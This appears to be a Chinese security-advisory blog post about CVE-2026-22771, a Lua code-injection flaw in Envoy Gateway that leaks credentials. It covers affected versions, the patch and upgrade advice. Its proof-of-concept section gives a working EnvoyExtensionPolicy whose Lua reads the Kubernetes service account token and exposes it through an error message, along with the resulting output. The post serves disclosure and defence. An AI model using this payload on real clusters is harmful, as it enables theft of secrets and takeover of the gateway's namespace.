首页 网络安全 正文
  • 本文约2302字,阅读需12分钟
  • 10
  • 0

Envoy Gateway 代码注入漏洞CVE-2026-22771

摘要

栋科技漏洞库关注到 Envoy Gateway 1.5.7之前版本和1.6.2之前版本存在代码注入漏洞,追踪为CVE-2026-22771,CVSS 3.X评分为8.8。

Envoy Gateway是开源 Kubernetes 原生 API 网关,该产品基于Gateway API标准与Envoy Proxy构建,采用控制平面-数据平面分离架构。

一、基本情况

Envoy Gateway 是CNCF旗下的开源 Kubernetes原生 API 网关,这是一个将 Envoy 代理作为独立或是基于 Kubernetes 的应用程序网关。

Envoy Gateway 代码注入漏洞CVE-2026-22771

Envoy Gateway 以声明式配置、高性能流量转发、丰富安全与可观测能力为核心优势,且适配云原生南北向流量管理与微服务网格场景。

栋科技漏洞库关注到 Envoy Gateway 1.5.7之前版本和1.6.2之前版本存在代码注入漏洞,追踪为CVE-2026-22771,CVSS 3.X评分为8.8。

二、漏洞分析

CVE-2026-22771漏洞是Envoy Gateway 1.5.7之前版本和1.6.2之前版本中存在的一个代码注入漏洞,该漏洞的评分较高,影响范围较广。

该漏洞源于EnvoyExtensionPolicy Lua脚本可能泄露代理凭据,进而可能会导致攻击者访问控制平面,并获取Envoy代理使用的所有密钥。

Envoy Gateway允许用户使用EnvoyExtensionPolicy资源创建由Envoy代理执行的Lua脚本。

管理员可以使用Kubernetes RBAC授予用户创建EnvoyExtensionPolicy资源的权限。策略中的Lua脚本在两种上下文中执行:

EnvoyExtensionPolicy 可以附加到 Gateway 和 xRoute 资源上。该策略中的 Lua 脚本将处理该范围内的流量。

Lua脚本由Envoy Gateway控制器Pod解释并运行,以进行验证。

Envoy代理执行的Lua脚本可用于泄露代理的凭据。

这些凭据随后可用于与控制平面通信,并获取Envoy代理使用的所有机密信息的访问权限,例如用于下游和上游通信的TLS私钥和凭据。

三、POC概念验证

当Envoy代理执行以下EnvoyExtensionPolicy时,将会泄露代理的XDS客户端证书。

管理员已设置登录后刷新可查看

此执行可能导致在Envoy Gateway控制器Pod中执行任意代码。攻击者可以利用这一点实现权限提升。

例如,以下EnvoyExtensionPolicy将读取Envoy Gateway K8s服务账户令牌,并在错误中返回,该错误将显示在资源状态中。

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

结果如下:

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
[...]
status:
  ancestors:
    - ancestorRef:
        group: gateway.networking.k8s.io
        kind: Gateway
        name: eg
        namespace: default
      conditions:
        - lastTransitionTime: "..."
          message: "Lua: validation failed for lua body in policy with name envoyextensionpolicy/default/lua-leak/lua/0:
        failed to validate with envoy_on_response: <string>:622: [REDACTED TOKEN]\nstack
        traceback:\n\t[G]: in function 'error'\n\t<string>:622: in function 'envoy_on_response'\n\t<string>:625:
        in main chunk\n\t[G]: ?."

攻击者随后可以使用此令牌窃取其他机密,在envoy-gateway-system命名空间中运行任意pod,并删除Envoy Gateway本身。

补丁

该补丁设置了安全的默认设置,并解决了缺乏防护措施导致任意Lua执行的问题:

Envoy Gateway默认会启用Lua严格验证,并附带一个安全加固模块。该模块会阻止可能在代理和控制器Pod中执行的危险Lua代码。

将“Syntax”重命名为“InsecureSyntax”验证模式,以表明在此验证模式下,不会对Lua进行可能存在的安全漏洞验证。

在EnvoyProxy中支持一个新的disableLua选项,该选项完全拒绝带有Lua脚本的EnvoyExtenstionPolicies,从而阻止执行任意Lua代码。

四、影响范围

gateway < 1.5.7 

gateway < 1.6.2

五、修复建议

gateway >= 1.5.7 

gateway >= 1.6.2

六、参考链接

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接